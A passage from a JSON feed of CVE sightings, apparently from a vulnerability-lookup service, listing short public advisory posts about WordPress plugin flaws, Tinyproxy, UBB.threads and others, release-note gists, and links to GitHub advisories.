"CVE-2026-54806", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moihfjejpl2g", "content": "CVE-2026-54806 - WordPress WP Activity Log plugin\nCVE ID : CVE-2026-54806\n \n Published : June 17, 2026, 9:51 a.m. | 3\u00a0hours, 17\u00a0minutes ago\n \n Description : Unauthenticated PHP Object Injection in WP Activity Log <= 5.6.3.1 versions.\n \n Severity: 9.8 | CRITICAL\n \n Visit the...", "creation_timestamp": "2026-06-17T13:50:17.889717Z"}, {"uuid": "9267bd27-0752-441e-bd84-35f3799812b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54803", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moihiv5eir2v", "content": "CVE-2026-54803 - WordPress SMS Alert Order Notifications plugin\nCVE ID : CVE-2026-54803\n \n Published : June 17, 2026, 9:51 a.m. | 3\u00a0hours, 17\u00a0minutes ago\n \n Description : Subscriber Privilege Escalation in SMS Alert Order Notifications <= 3.9.4 versions.\n \n Severity: 9.8 | ...", "creation_timestamp": "2026-06-17T13:52:10.920856Z"}, {"uuid": "ed66201d-c078-48ec-bd30-74d7e75c48e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54184", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moiijacpub2z", "content": "CVE-2026-54184 - WordPress Clean Login plugin\nCVE ID : CVE-2026-54184\n \n Published : June 17, 2026, 9:51 a.m. | 3\u00a0hours, 17\u00a0minutes ago\n \n Description : Unauthenticated Insecure Direct Object References (IDOR) in Clean Login <= 1.15 versions.\n \n Severity: 8.2 | HIGH\n \n Visi...", "creation_timestamp": "2026-06-17T14:10:16.248058Z"}, {"uuid": "9011875d-8e2c-483e-828a-5e8ce03fa678", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54186", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moiipye73c2e", "content": "CVE-2026-54186 - WordPress JobSearch plugin\nCVE ID : CVE-2026-54186\n \n Published : June 17, 2026, 9:51 a.m. | 3\u00a0hours, 17\u00a0minutes ago\n \n Description : Unauthenticated SQL Injection in JobSearch <= 3.2.9 versions.\n \n Severity: 9.3 | CRITICAL\n \n Visit the link for more detail...", "creation_timestamp": "2026-06-17T14:14:06.493687Z"}, {"uuid": "12824e23-cf38-4ef0-8527-6e7f7d51a0c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54187", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moiixqsrmt2f", "content": "CVE-2026-54187 - WordPress JetEngine plugin\nCVE ID : CVE-2026-54187\n \n Published : June 17, 2026, 9:51 a.m. | 3\u00a0hours, 17\u00a0minutes ago\n \n Description : Unauthenticated SQL Injection in JetEngine <= 3.8.10.1 versions.\n \n Severity: 9.3 | CRITICAL\n \n Visit the link for more det...", "creation_timestamp": "2026-06-17T14:18:23.484606Z"}, {"uuid": "916fbcd6-4eea-448c-a454-3298d5040393", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54807", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moijsmuwzq2j", "content": "CVE-2026-54807 - WordPress Registration Form for WooCommerce plugin\nCVE ID : CVE-2026-54807\n \n Published : June 17, 2026, 9:51 a.m. | 3\u00a0hours, 17\u00a0minutes ago\n \n Description : Unauthenticated Privilege Escalation in Registration Form for WooCommerce <= 1.0.9 versions.\n \n Sev...", "creation_timestamp": "2026-06-17T14:33:25.332650Z"}, {"uuid": "fa8c8ac8-6b60-4e79-868c-f2d0f9ab47e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54016", "type": "published-proof-of-concept", "source": "https://github.com/open-webui/open-webui/security/advisories/GHSA-cx9v-4qj2-jrw6", "content": "", "creation_timestamp": "2026-06-11T19:06:16.000000Z"}, {"uuid": "652813d5-54b0-49fd-88be-599d883dc704", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54015", "type": "published-proof-of-concept", "source": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4r4w-2wgp-w7cj", "content": "", "creation_timestamp": "2026-06-11T19:05:34.000000Z"}, {"uuid": "d1ddc2de-6f98-470d-b948-753560dac40c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54014", "type": "published-proof-of-concept", "source": "https://github.com/open-webui/open-webui/security/advisories/GHSA-j2c8-v969-8r5c", "content": "", "creation_timestamp": "2026-06-11T19:04:46.000000Z"}, {"uuid": "c42f20ee-0a5c-455c-b870-fa2bf19fb468", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54013", "type": "published-proof-of-concept", "source": "https://github.com/open-webui/open-webui/security/advisories/GHSA-v2qm-5wxj-qhj7", "content": "", "creation_timestamp": "2026-06-11T19:02:12.000000Z"}, {"uuid": "4f330264-8997-4607-a867-ff7eae393168", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54012", "type": "published-proof-of-concept", "source": "https://github.com/open-webui/open-webui/security/advisories/GHSA-vjqm-6gcc-62cr", "content": "", "creation_timestamp": "2026-06-11T18:58:16.000000Z"}, {"uuid": "6b7ed960-7088-44ae-85d7-cc470e606179", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54011", "type": "published-proof-of-concept", "source": "https://github.com/open-webui/open-webui/security/advisories/GHSA-v8qj-hxv7-mgvv", "content": "", "creation_timestamp": "2026-06-11T18:58:03.000000Z"}, {"uuid": "e82cee74-e9ac-41d1-b5f2-6cc0686cf0b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54010", "type": "published-proof-of-concept", "source": "https://github.com/open-webui/open-webui/security/advisories/GHSA-vrhc-3fr6-pc3c", "content": "", "creation_timestamp": "2026-06-11T18:57:21.000000Z"}, {"uuid": "409c713c-d4d7-4e11-8c44-8fafeca2bbb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54008", "type": "published-proof-of-concept", "source": "https://github.com/open-webui/open-webui/security/advisories/GHSA-226f-f24g-524w", "content": "", "creation_timestamp": "2026-06-11T18:56:45.000000Z"}, {"uuid": "706eabce-8ddc-4939-948c-3ebe6412a4e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54007", "type": "published-proof-of-concept", "source": "https://github.com/open-webui/open-webui/security/advisories/GHSA-3vv5-8xxp-4f55", "content": "", "creation_timestamp": "2026-06-11T18:56:24.000000Z"}, {"uuid": "16f6af48-918d-4ab5-b28f-cf69c03bcaf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54006", "type": "published-proof-of-concept", "source": "https://github.com/open-webui/open-webui/security/advisories/GHSA-f3g7-59qc-pqg6", "content": "", "creation_timestamp": "2026-06-11T18:55:57.000000Z"}, {"uuid": "aaa192d3-53d8-4054-b078-213c26a70c0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54761", "type": "published-proof-of-concept", "source": "https://github.com/traefik/traefik/security/advisories/GHSA-3g6v-2r68-prfc", "content": "", "creation_timestamp": "2026-06-11T08:30:06.000000Z"}, {"uuid": "a536c2b8-0ef8-41a0-a486-53692053bd64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54187", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3moisqmb2tb27", "content": "CVE-2026-54187 - Critical SQLi in JetEngine <= 3.8.10.1. Unauthenticated exploit. CVSS 9.3. Update immediately. #CVE #WordPress #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-54187/", "creation_timestamp": "2026-06-17T17:13:21.169859Z"}, {"uuid": "1ab2259c-d95b-4364-ae6e-8f50b27a7518", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54812", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moiuwtpemc27", "content": "CVE-2026-54812 - WordPress Motors plugin\nCVE ID : CVE-2026-54812\n \n Published : June 17, 2026, 2:24 p.m. | 2\u00a0hours, 44\u00a0minutes ago\n \n Description : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in StylemixThemes Motors allow...", "creation_timestamp": "2026-06-17T17:52:37.984792Z"}, {"uuid": "a90c0322-af81-4651-bc2b-91a87465b6b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54809", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moiv2psev527", "content": "CVE-2026-54809 - WordPress GIFT4U plugin\nCVE ID : CVE-2026-54809\n \n Published : June 17, 2026, 1:51 p.m. | 3\u00a0hours, 17\u00a0minutes ago\n \n Description : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in VillaTheme GIFT4U allows Bl...", "creation_timestamp": "2026-06-17T17:54:47.970243Z"}, {"uuid": "9adde229-2833-4dd0-950c-55cdc71b8a7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54415", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moiv74u5gc2t", "content": "CVE-2026-54415 - Broken Access Control in Azuriom CMS Server Routes Allows Account Takeover\nCVE ID : CVE-2026-54415\n \n Published : June 17, 2026, 2:04 p.m. | 3\u00a0hours, 4\u00a0minutes ago\n \n Description : Missing Authorization in the server management routes (routes/admin.php) in Azu...", "creation_timestamp": "2026-06-17T17:57:16.146591Z"}, {"uuid": "d2b87b3e-2fa5-4588-88ac-eb84cbb95f53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54808", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moivvl4wvi2f", "content": "CVE-2026-54808 - WordPress WP Travel Gutenberg Blocks plugin\nCVE ID : CVE-2026-54808\n \n Published : June 17, 2026, 1:51 p.m. | 3\u00a0hours, 17\u00a0minutes ago\n \n Description : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WP Trav...", "creation_timestamp": "2026-06-17T18:09:49.148755Z"}, {"uuid": "635c5a50-0192-4828-900b-a4057f3654d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54019", "type": "published-proof-of-concept", "source": "https://github.com/open-webui/open-webui/security/advisories/GHSA-p5cp-r7rg-qpxc", "content": "", "creation_timestamp": "2026-06-11T19:09:52.000000Z"}, {"uuid": "3196533a-5a81-46cc-9611-f9bd84c43d97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54018", "type": "published-proof-of-concept", "source": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jrfp-m64g-pcwv", "content": "", "creation_timestamp": "2026-06-11T19:09:33.000000Z"}, {"uuid": "8bba6dd7-950b-4eb0-9d3f-909b993261f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54022", "type": "published-proof-of-concept", "source": "https://github.com/open-webui/open-webui/security/advisories/GHSA-8788-j68r-3cgh", "content": "", "creation_timestamp": "2026-06-11T19:14:16.000000Z"}, {"uuid": "185e9d02-c258-4518-bcf9-9caa37508824", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54388", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mojgffzrlv2c", "content": "CVE-2026-54388 - Tinyproxy - HTTP Request Smuggling via Duplicate Content-Length Headers\nCVE ID : CVE-2026-54388\n \n Published : June 17, 2026, 7:59 p.m. | 1\u00a0hour, 43\u00a0minutes ago\n \n Description : Tinyproxy through 1.11.3, fixed in commit 364cdb6, fails to reject requests contai...", "creation_timestamp": "2026-06-17T23:05:00.499923Z"}, {"uuid": "61a55fa7-5870-4bdc-9bfc-43551b56cb54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54387", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mojhftygey2v", "content": "CVE-2026-54387 - Tinyproxy - HTTP Request Smuggling via CL/TE Desynchronization\nCVE ID : CVE-2026-54387\n \n Published : June 17, 2026, 7:48 p.m. | 1\u00a0hour, 54\u00a0minutes ago\n \n Description : Tinyproxy through 1.11.3, fixed in commit ff45d3b, fails to reconcile conflicting Content-L...", "creation_timestamp": "2026-06-17T23:23:08.971722Z"}, {"uuid": "a595e4c1-19c7-4ee7-b51b-d43c42ea5917", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mojrwgzt3f2d", "content": "Top 3 CVE for last 7 days:\nCVE-2026-35273: 64 interactions\nCVE-2026-54420: 26 interactions\nCVE-2026-39987: 20 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-9697: 16 interactions\nCVE-2026-50656: 13 interactions\nCVE-2026-42824: 11 interactions\n", "creation_timestamp": "2026-06-18T02:31:23.257160Z"}, {"uuid": "088b865c-d99f-49f7-8756-0a9c4b6f38ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://gist.github.com/jbourdin/1c841962dc31a6cb765da0bf057d0be2", "content": "- **Trello**\n    - [TVO - VOLET OUBLIE VARIANT - MOBILE](https://trello.com/c/AhXzP14f/3791-tvo-volet-oublie-variant-mobile) **\ud83e\udd13 Testing**\n        - *fix(tvo): adapt quick add panel height and hide view-product link on PDP* [\\#11678](https://github.com/Wishibam/Ecommerce-sylius/pull/11678)\n    - [Tvo - Desktop - Tag](https://trello.com/c/tMBF307w/3793-tvo-desktop-tag) **\ud83e\udd13 Testing**\n        - *fix(tvo): hide secondary product tag when it would collide with the w\u2026* [\\#11682](https://github.com/Wishibam/Ecommerce-sylius/pull/11682)\n    - [\u26a0\ufe0f Action en prod \u26a0\ufe0f Souci d'indexation cheapest variante TVO](https://trello.com/c/hOhjAn2Z/3799-%E2%9A%A0%EF%B8%8F-action-en-prod-%E2%9A%A0%EF%B8%8F-souci-dindexation-cheapest-variante-tvo) **\ud83e\udd13 Testing**\n        - *fix(tvo): resolve PLP card images via fallback and prefer sellable va\u2026* [\\#11684](https://github.com/Wishibam/Ecommerce-sylius/pull/11684)\n \n- **Misc**\n    - *:wrench: chore: bump mtdowling/jmespath.php to 2.9.1 (CVE-2026-54133)* [\\#11686](https://github.com/Wishibam/Ecommerce-sylius/pull/11686)\n \n- **D\u00e9j\u00e0 en production**\n    - *:bug: fix: guard missing jsonProduct attribute (500 PLP/reco)* [\\#11680](https://github.com/Wishibam/Ecommerce-sylius/pull/11680)", "creation_timestamp": "2026-06-18T08:37:24.000000Z"}, {"uuid": "f9870cbc-a7ba-4b56-a0df-ea6d482eed4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://gist.github.com/jbourdin/837c3ba37bebbbca796c3a0b7e2a59ee", "content": "- **Trello**\n    - [TVO - VOLET OUBLIE VARIANT - MOBILE](https://trello.com/c/AhXzP14f/3791-tvo-volet-oublie-variant-mobile) **\ud83e\udd13 Testing**\n        - *fix(tvo): adapt quick add panel height and hide view-product link on PDP* [\\#11678](https://github.com/Wishibam/Ecommerce-sylius/pull/11678)\n    - [Tvo - Desktop - Tag](https://trello.com/c/tMBF307w/3793-tvo-desktop-tag) **\ud83e\udd13 Testing**\n        - *fix(tvo): hide secondary product tag when it would collide with the w\u2026* [\\#11682](https://github.com/Wishibam/Ecommerce-sylius/pull/11682)\n    - [\u26a0\ufe0f Action en prod \u26a0\ufe0f Souci d'indexation cheapest variante TVO](https://trello.com/c/hOhjAn2Z/3799-%E2%9A%A0%EF%B8%8F-action-en-prod-%E2%9A%A0%EF%B8%8F-souci-dindexation-cheapest-variante-tvo) **\ud83e\udd13 Testing**\n        - *fix(tvo): resolve PLP card images via fallback and prefer sellable va\u2026* [\\#11684](https://github.com/Wishibam/Ecommerce-sylius/pull/11684)\n \n- **Misc**\n    - *:wrench: chore: bump mtdowling/jmespath.php to 2.9.1 (CVE-2026-54133)* [\\#11686](https://github.com/Wishibam/Ecommerce-sylius/pull/11686)\n \n- **D\u00e9j\u00e0 en production**\n    - *:bug: fix: guard missing jsonProduct attribute (500 PLP/reco)* [\\#11680](https://github.com/Wishibam/Ecommerce-sylius/pull/11680)", "creation_timestamp": "2026-06-18T08:45:37.000000Z"}, {"uuid": "11948bf9-6dc5-4671-b46b-484c327f4785", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54808", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mokhzerxt623", "content": "CVE-2026-54808 - Critical SQLi in WP Travel Gutenberg Blocks. Blind SQL injection allows data exfiltration. CVSS 9.3. No patch available. Disable plugin immediately. #CVE #WordPress #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-54808/", "creation_timestamp": "2026-06-18T09:06:44.004078Z"}, {"uuid": "d5ce89a9-6b3d-4bcc-b402-9efe02b6c97a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://gist.github.com/jbourdin/cde63406dfa189dc54a60baa22e3b96d", "content": "- **Trello**\n    - [TVO - VOLET OUBLIE VARIANT - MOBILE](https://trello.com/c/AhXzP14f/3791-tvo-volet-oublie-variant-mobile) **\ud83e\udd13 Testing**\n        - *fix(tvo): adapt quick add panel height and hide view-product link on PDP* [\\#11678](https://github.com/Wishibam/Ecommerce-sylius/pull/11678)\n    - [Tvo - Desktop - Tag](https://trello.com/c/tMBF307w/3793-tvo-desktop-tag) **\ud83e\udd13 Testing**\n        - *fix(tvo): hide secondary product tag when it would collide with the w\u2026* [\\#11682](https://github.com/Wishibam/Ecommerce-sylius/pull/11682)\n    - [\u26a0\ufe0f Action en prod \u26a0\ufe0f Souci d'indexation cheapest variante TVO](https://trello.com/c/hOhjAn2Z/3799-%E2%9A%A0%EF%B8%8F-action-en-prod-%E2%9A%A0%EF%B8%8F-souci-dindexation-cheapest-variante-tvo) **\ud83e\udd13 Testing**\n        - *fix(tvo): resolve PLP card images via fallback and prefer sellable va\u2026* [\\#11684](https://github.com/Wishibam/Ecommerce-sylius/pull/11684)\n    - [TVO Refonte - Mobile - Recherche - Header sticky devient transparent au scroll down](https://trello.com/c/tsd6QFe7/3790-tvo-refonte-mobile-recherche-header-sticky-devient-transparent-au-scroll-down) **\ud83e\udd13 Testing**\n        - *fix(tvo): keep mega-menu bar clipped on scroll on search results page* [\\#11688](https://github.com/Wishibam/Ecommerce-sylius/pull/11688)\n \n- **Misc**\n    - *:wrench: chore: bump mtdowling/jmespath.php to 2.9.1 (CVE-2026-54133)* [\\#11686](https://github.com/Wishibam/Ecommerce-sylius/pull/11686)\n \n- **D\u00e9j\u00e0 en production**\n    - *:bug: fix: guard missing jsonProduct attribute (500 PLP/reco)* [\\#11680](https://github.com/Wishibam/Ecommerce-sylius/pull/11680)\n    - *fix(tag): add secondary theme* [\\#11689](https://github.com/Wishibam/Ecommerce-sylius/pull/11689)", "creation_timestamp": "2026-06-18T09:22:36.000000Z"}, {"uuid": "f618af83-32a7-4b1a-9a7d-7cd07e59172b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54415", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3moks6clrea23", "content": "CVE-2026-54415 - Missing Authorization in Azuriom CMS. Authenticated admin can create server tokens, take over user accounts via API. CVSS 8.1. No patch yet. Disable AzLink endpoints until update. #CVE #Azuriom #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-54415/", "creation_timestamp": "2026-06-18T12:08:27.593530Z"}, {"uuid": "739d1dfa-a722-4880-8048-dae8aad61c28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54419", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mokt35ifeb2z", "content": "CVE-2026-54419 - PIAF-HMS multiple unauthenticated SQL injection vulnerabilities via mysql_query\nCVE ID : CVE-2026-54419\n \n Published : June 18, 2026, 10:21 a.m. | 1\u00a0hour, 14\u00a0minutes ago\n \n Description : claudiopizzillo PIAF-HMS (PBX-In-A-Flash Hotel Management System; no rele...", "creation_timestamp": "2026-06-18T12:24:39.032738Z"}, {"uuid": "c509f9fc-a3b5-4440-bf3e-6096f65e5fb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://gist.github.com/FR-Flo/cd6529e40b97e630e9094633912c0a3d", "content": "## \ud83d\udd17 Companion release\n\nNo open **Marketplace-client (frontend)** release PR found yet \u2014 it will be linked automatically once it exists.\n\n- https://github.com/Wishibam/Marketplace-client/pulls?q=is%3Apr+is%3Aopen+base%3Amaster+head%3Adevelop\n\n- **Misc**\n    - *:arrow\\_up: deps: bump jmespath.php to 2.9.1 (CVE-2026-54133)* [\\#7579](https://github.com/Wishibam/Marketplace-api/pull/7579)", "creation_timestamp": "2026-06-18T13:14:02.000000Z"}, {"uuid": "a8e22654-3686-4164-adae-e9128175e435", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54219", "type": "seen", "source": "https://cert.pl/en/posts/2026/06/CVE-2026-54219", "content": "", "creation_timestamp": "2026-06-18T05:55:00.000000Z"}, {"uuid": "906a075f-5e20-4f9e-b5aa-4abc07f2d8fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54224", "type": "seen", "source": "https://cert.pl/en/posts/2026/06/CVE-2026-54219", "content": "", "creation_timestamp": "2026-06-18T05:55:00.000000Z"}, {"uuid": "cd019eb8-02af-4769-b71b-589ce979ebd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54193", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mokywfkbzb2n", "content": "CVE-2026-54193 - Path Traversal in Fusion Builder <= 3.15.4. Contributors can delete arbitrary files. CVSS 7.7. No patch available - limit user roles now. #CVE #WordPress #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-54193/", "creation_timestamp": "2026-06-18T14:09:17.650293Z"}, {"uuid": "9b02bf68-5903-4ddf-9e55-0cab31b509b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54220", "type": "seen", "source": "https://cert.pl/en/posts/2026/06/CVE-2026-54219", "content": "", "creation_timestamp": "2026-06-18T05:55:00.000000Z"}, {"uuid": "266ea972-25b3-4a69-9808-e8a89eeeee85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54223", "type": "seen", "source": "https://cert.pl/en/posts/2026/06/CVE-2026-54219", "content": "", "creation_timestamp": "2026-06-18T05:55:00.000000Z"}, {"uuid": "7b655d70-09d9-4b9b-9755-0ad6375fbf2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54222", "type": "seen", "source": "https://cert.pl/en/posts/2026/06/CVE-2026-54219", "content": "", "creation_timestamp": "2026-06-18T05:55:00.000000Z"}, {"uuid": "532af0f3-bba7-4441-ab1a-9e8075b5f282", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54221", "type": "seen", "source": "https://cert.pl/en/posts/2026/06/CVE-2026-54219", "content": "", "creation_timestamp": "2026-06-18T05:55:00.000000Z"}, {"uuid": "1e9aff7f-2531-463f-b139-e8eabf4a8dd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54220", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mol66nmcxv2t", "content": "CVE-2026-54220 - Cross-Site Request Forgery in UBB.threads\nCVE ID : CVE-2026-54220\n \n Published : June 18, 2026, 12:56 p.m. | 46\u00a0minutes ago\n \n Description : uBB.threads is vulnerable to a\u00a0Cross-Site Request Forgery (CSRF) due to a lack of protective mechanisms. This allows an...", "creation_timestamp": "2026-06-18T15:43:23.057342Z"}, {"uuid": "2edaa746-e298-4177-b04c-6de1350929ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54219", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mol6hmaass2j", "content": "CVE-2026-54219 - Stored XSS in UBB.threads\nCVE ID : CVE-2026-54219\n \n Published : June 18, 2026, 12:56 p.m. | 46\u00a0minutes ago\n \n Description : UBB.threads is vulnerable to Stored XSS via user posts and user profile fields. The application fails to properly sanitize user input, ...", "creation_timestamp": "2026-06-18T15:48:23.602053Z"}, {"uuid": "ab77757a-436f-4298-9f36-ed583a5b3745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54222", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mol6qkof7z2j", "content": "CVE-2026-54222 - Blind SQL Injection in UBB.threads\nCVE ID : CVE-2026-54222\n \n Published : June 18, 2026, 12:56 p.m. | 46\u00a0minutes ago\n \n Description : UBB.threads is vulnerable to Blind SQL Injection,\u00a0allowing attackers with access to\u00a0the Members in Control Panel\u00a0to interact w...", "creation_timestamp": "2026-06-18T15:53:24.100738Z"}, {"uuid": "1610b5a4-2ed0-48b8-83b3-847687e34a2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54221", "type": "seen", "source": 